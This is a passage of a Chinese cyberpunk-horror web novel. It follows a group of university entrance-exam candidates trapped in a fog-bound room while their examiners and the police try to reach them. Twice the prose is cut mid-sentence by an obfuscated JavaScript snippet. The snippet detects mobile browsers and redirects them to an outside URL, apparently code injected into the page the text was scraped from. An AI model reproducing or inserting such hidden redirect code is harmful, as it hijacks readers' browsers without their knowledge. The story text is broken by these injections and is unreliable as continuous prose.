她找了好久,终于找到墙面有弃权字样的按钮,便想也不想地按下去。可奇怪的时候,本该立刻弹起的玻璃没有反应,也没有导师进来带夭捺离场。 房间静悄悄的。无事发生。 夭捺的眉头紧促,大脑内不好的第六感正在蔓延。 在她的原生世界,黑虫只是最低等的恐怖生物,应付起来还算轻松,困难的还有寄生,伪人、规则,时间空间错乱,谁知道今天沾染上的又是什么玩意,还是尽快逃离比较好。 夭捺见弃权按钮没有反应,又将目光打到房门上,她记得房门是没有上锁的。 她猛地拉开房门。 房门外景象暴露无遗后,在场六人全都傻眼了。 只见门外是一片浓郁的白雾,伸手看不到五指的那种,与刚刚整洁的会议室截然不同。白雾中似乎有什么黑影掠过,还没看清是什么,转瞬就消失了。 这下,不只是夭捺,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11857218|126340||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连其他面试者也察觉不对了。 从刚刚开始,会议室的灯光一直间断性晃动,停电吗?可这里可是赛博第一科技大学,怎么可能发生停电这么离谱的事情啊? 夭捺面色凝重地看着迷雾许久,好半天才说了一句:“我们被困住了。” … 会议室玻璃外。 导师们正在观察面试学生的反应。 当他们看到夭捺刚开始就弃权的时候,就有人发出轻蔑的笑声。 其中一个秃头男导师,应该是认出夭捺是最近风头正热的网红,开口就是一句贬低:“我还说她一个网红怎么考上大学了,结果面试刚开始就承受不住要弃权了。” “估计这海伍德第一名的考试成绩,也是超常发挥才考到的吧。” “作为应试学生,心态很重要,像这种中途放弃的学生不配进我们学校。” 戴着眼镜的中年女人回复道。 她批判夭捺,纯属是看不惯她开局弃考的作风,倒和她是不是网红,风评如何无关。 眼看着夭捺按下放弃键了,秃头男导师眼疾手快,将这一幕拍下来发到网上,配文是:最近年轻学生越来越脆弱了,考试才开始两分钟就承受不住压力要弃考,实在让人堪忧。 男导师的身份和他假惺惺的博文,瞬间站在了道德制高点上。 而本就名声不好的夭捺,刚一露面就有黑粉闻风而来,在评论区底下批判夭捺。 【不是吧,夭捺真去参加入学考试了,她的对手可是各区的第一名啊,她怎么敢??】 【不弃权还能怎么办啊,一个全靠p图才走红的网红,能考上才有鬼呢!】 【这种人怎么配代表我们年轻学生,她就是一个活生生的反面例子,绝对不能录取她,否则我要怀疑赛博科技大学入学考试是否公正了!】 期间夹杂着对夭捺长相的怀疑,还有名侦探爱好者提出质疑,表示:【夭捺能参加考试,证明她也是第一名,没必要因为她的职业攻击她的智商吧…】 而这些评论,毫不例外地被打成了无脑粉丝,淹没在如海潮一般的恶评之中。 这位导师也享受着被粉丝吹捧和高流量的甜头,抬头一看,发现工作人员冷汗直流。 “发生了什么?” 他看向玻璃里,夭捺居然还没出来,不禁皱了皱眉头:“怎么回事,她又后悔弃权了?” “咱们可是赛博第一大学,想要考进来的学生多不胜数,怎么可能接受一位变来变去,立场不坚定的学生?” 男导师对夭捺的行事作风嗤之以鼻。 他招招手,让人把夭捺带出来,别影响了入学考试。 结果工作人员擦了擦鼻尖的冷汗,说:“不是夭捺改变主意,是…我们找不到学生了。” 什么意思? 面试学生就坐在一墙之外的会议室里,什么叫做找不到学生了? 男导师不信邪,走上前打开房门,想将夭捺从房间拉出来,却没想到拉开房门走进去,却看到面色惊悚的导师同事们… 他走进房门,却又回到房间…怎么会这样? 现场导师们已经无心关注考试了,因为他们发现,他们和玻璃里的学生失去了联络。 15.第 15 章 “这外面是什么东西?” 靠近门口的上原崧,和克里同时站起来,朝门口走去。 克里不只给后脑做了义体手术,还用夜视摄像头换掉了两颗眼珠。一亮一暗的光线下,他的眼睛散发着诡异瘆人的红光,俨然是黑暗下唯一的标志。 他用指尖轻碰太阳穴,眼眶里发出焦段延长时特有的“兹拉”声,辨认迷雾中的东西。 片刻,他放弃。 眼珠子转回原处。 “我什么都看不到,除了雾就是雾。” “可这是入学考试啊,会不会是学校用来隔离考场的手段?”有钱大小姐金安娜问道。 虽然连她自己,也觉得这个理由太荒谬了——谁家考场的灯泡会一直闪烁好像停电啊?这是鬼片才会出现的桥段。 而且夭捺已经按下弃权,却没有人进来带走她,这事看起来就挺不寻常的。 “走出去看看?”克里再次提议。 现场没有人有意见。因为克里的义体化程度比较高,就算遇到危险,也有能力自保。最出人意料的是,他竟然指向了角落的上原崧,说:“你跟我一起去吧。” “为什么是我?”上原崧被点名后,露出吃惊的表情,瘦削的肩膀又往里缩了缩。 克里的目光向下,落在上原崧的小腿肌肉上,“因为你看起来很会逃命的样子。” 众人包括夭捺,这才注意到上原崧瘦削的身材里藏着精壮的腿,难怪会被克里注意到。 眼看两人要出发,夭捺悠悠开口,劝了一句“想清楚,这个会议室是唯一的安全区,出去后谁也不知道会发生什么。” “换个思路想,这或许是学校安排的课题。”克里不以为然,甚至朝单向玻璃外点点头,展示自己的勇敢无畏,吸引导师的主意。 然而玻璃外的导师都快吓死了。 他们拍打着玻璃,试图发出动静让克里别出去,玻璃后的人却浑然不觉。 夭捺本来就不是酷爱劝人的圣母,见对方执意寻死,她也懒得阻拦,立刻就不说话了。反倒是一旁的章盈盈不知从哪找来两条绳子,套在他们的身上。 “要不,你们拿上这个吧,如果有突发事件我们立刻拉你回来。” “…”克里这辈子都没见过这么原始的绳索,怎么赛博科技大学的会议室还有这玩意。但事关自己的性命,他也没有拒绝,将绳索的另一头绑在脚踝上。 上原崧则是绑在腰上,他的性格看起来要更谨慎一些。 绑好安全绳后,两人立刻出发,走进浓郁的迷雾中,转瞬连人影都看不到了。 “怎么会这样…” 玻璃外的导师眼睁睁看着他们踏出房门,却没有出现在导师所在的房间,而是消失了。 他们顿时惊恐喧哗起来。 学生打开房门没有回到导师的房间,也没有回到学生的会议室,又是去了哪里? 他们的房门如今又连通着什么地方? 导师们都慌了。数位精英齐聚赛博科技大学,却在校内发生意外,他们的责任不少,说不定还会因此坐进裁决司的审讯室里。 立刻有人当机立断,现场报警。 警察局内。 来自赛博科技大学的报案出于涉案人员和场所特殊的原因,一路开绿灯送上了重案组,重案组成员接到报案后,立刻收拾枪支器械,行色慌忙奔赴现场。 止役走在走廊里,看到好几个昔日同事脚步匆匆,朝悬浮警车停靠的地方跑去。 他拦住其中一个:“发生了什么?” “赛博科技大学出事了!” 事态紧急,同事说不清楚,放下这句话后便急匆匆离开了,反倒是止役闻言面色巨变,心想赛博科技大学能出什么事,难道是夭捺假冒的身份被发现了? 不,不对,如果只是冒名顶替被发现,警方会直接来找他而不是派重案组。 放眼过去,只有市中心遇到恐怖袭击才能拿到如此高级别警报,难道大学被袭击了?难道…夭捺发现自己考不上大学,无差别扫射学生? 非常有可能!止役立刻转身,他相信夭捺绝对做得出这种事情,因为她就是一个神金! 几个超速闯红灯后,他以最快的速度,重新回到了赛博科技大学。 大学已经被警方重重包围了。 止役下车。 人群外的宋临立刻发现他,从拥挤中只身挤过来,比划道:“夭捺好像出事了。” 宋临指向会议室,所有的警察都走进同一间房间里,在那儿进进出出。而那个房间,赫然是夭捺参加入学考试的会议室! “她杀了谁?” “啊?” 宋临没反应过来。 止役却急得不行,转身朝会议室走去。宋临连忙跟上。 止役汹汹的气势很快吸引重案组同事的注意,众人纷纷上前阻拦,却被他从膝盖拔出来的枪支逼退,谁也不敢阻拦止役。 毕竟前不久,他才虐杀了同事,往对方身上开了六百多枪。 他就是个疯子! 就这样,止役一路畅通无阻,直接冲破了防线,走进会议室里。 刚一进门,他就看到玻璃里夭捺悠闲的身影,坐在椅子上有一搭没一搭地晃着双腿,吊儿郎当地喝着咖啡,看起来…好像没发癫啊。 止役诧异。 紧接着,他就发现不对劲的地方了。 他眼睁睁看见,一名警察穿过房门,竟然又回到刚离开的房间里,而玻璃里的会议室,变成了一个无人可进出的密闭空间! “各单位注意,准备炮击。” 重案组决定采用简单粗暴的方法,那就是炸掉玻璃。 然而… “轰隆!” 巨大的响声与烟雾在室内蔓延,玻璃裂出了一个半人高的大洞,好像凭空出现的镜子,里面映出警方苍白无力的脸。 学生们到底都去哪了? 就在警方焦头烂额,找不到原因的时候,一个满头大汗的学生气喘吁吁冲进教室里,说:“不好意思,我迟到了,还可以参加考试吗?” “…” 什么情况? 止役看向玻璃里,参加考试的六个人都在现场,这姗姗来迟的学生又是谁? 学生诧异看向玻璃,面色大变:“我都还没到,怎么考试就开始了…”随即拿出准考证,扫他居然才是参加面试的学生! 这一刻,大家都意识到大事不好,转头看向玻璃里的场景。 ——一个无法随意进出的空间,六个完全陌生的人,还混进了一个恶意顶替的混蛋。 怎么想,都是要死人的节奏啊。 … 夭捺看着门外迷雾晃动。 忽然,她感受到离他们不远的地方,爆发出难以忽视的惊慌情绪…这种感觉太糟糕了,就像有人在耳边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11857228|126340||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疯狂尖叫,这些大脑开发程度不足1%的人,完全无法阻止自身情绪外露,吵得她脑壳都开始疼了。 “把绳子拉回来!”夭捺冲拉着绳子的周奕喊道:“他们出事了。” 周奕看了她一眼,没有回答,也没有拉绳子。 他不听夭捺的。 一旁的安娜诧异反问:“为什么要拉回来,他们才刚出去不久,而且出发前都说好了,如果发生意外就晃动绳子,我们感受到绳子剧烈晃动再将他们拉回来。” “因为他们已经没办法晃绳子了。” 章盈盈见大家氛围尴尬,立刻出声打圆场:“那我们就听夭捺的吧,就算不能救他们,把他们拉回来也没坏处。我看这迷雾看起来挺瘆人的。” 章盈盈的话说服了安娜,周奕见大部分人都同意,开始往回拉绳子。 绳子被快速回收。 即使早已知道周奕的身体很健壮,但当夭捺看到他改造了全身肌肉组织和关节的时候,还是留心多看了他一眼。 当他拉绳子的时候,钢铁般硬化的肌肉在他双臂鼓起,整个人仿佛大了一号。 看着有点吓人。 夭捺收回目光。 当绳子拉到一般的时候,异样发生了。前半截绳子还是干的,露出绳子本该有的颜色,可拉到后半截的时候,绳子突然变湿了,通体散发着诡异难言的深黑色。 夭捺上前摸了一把。 手指上全是腥臭的红色,她瞬间意识到…绳子被血浸湿了。 “这是谁的血?难道他们死了吗?”金安娜大惊失色,连那条绳子都不愿意碰了。 他们眼睁睁看着,拉回来的黑绳子搭放在地板,越来越多,深黑色的部分也长得吓人。 “想要达到这种出血量,至少得死一个人。”出于职业习惯,夭捺给当下点评了一句,却让现场两位女孩露出惊愕失措的表情。 周奕一言不发,加快拉绳子的动作,他的双手已经被血浸透了。 幸运的是,绑在绳子另一端的两人还活着,而且看起来没什么大碍。上原崧被吓晕了,克里后脑的义体掉了出来,好像是被绳子绊到撞晕了。 金安娜上前,熟练地将克里的后脑推回去,器官复原后他立刻就醒了。 克里睁开眼睛,短暂惊恐后发现自己回到了会议室,立刻泄气,直接躺在地上大喘气。完全没有刚刚高傲才子的模样了。 金安娜发现没有死人后,也悄悄松了一口气,好奇问道:“你们出去后看到了什么?” 提起这个话题,放松的克里立刻紧张起来,面色凝重地说:“说出来,你们可能不信,我在会议室外面…看到了我们。” “不,准确的说,我只看到了另一个上原崧!” 五分钟前。 迷雾中两人艰难前行,因为看不到前方的路,他们走得格外缓慢,直到摸到了一堵墙。 刚摸到前方有阻碍的时候,克里还以为自己找到迷雾的边界,可当他上手抚摸墙表面,却发现摸到了起伏的曲线,人类特有的37度体温,看到一双仅离他五厘米远的黝黑眼珠。 “上原崧,你怎么走到我前面了?” 克里感觉不妙,但还是强装镇定,向跟前的人体墙面发问。 可上原崧的回复却从他身后传来:“我一直在你后面啊,倒是你,怎么跑到我后面了?” “你为什么…用枪抵着我的脑袋?”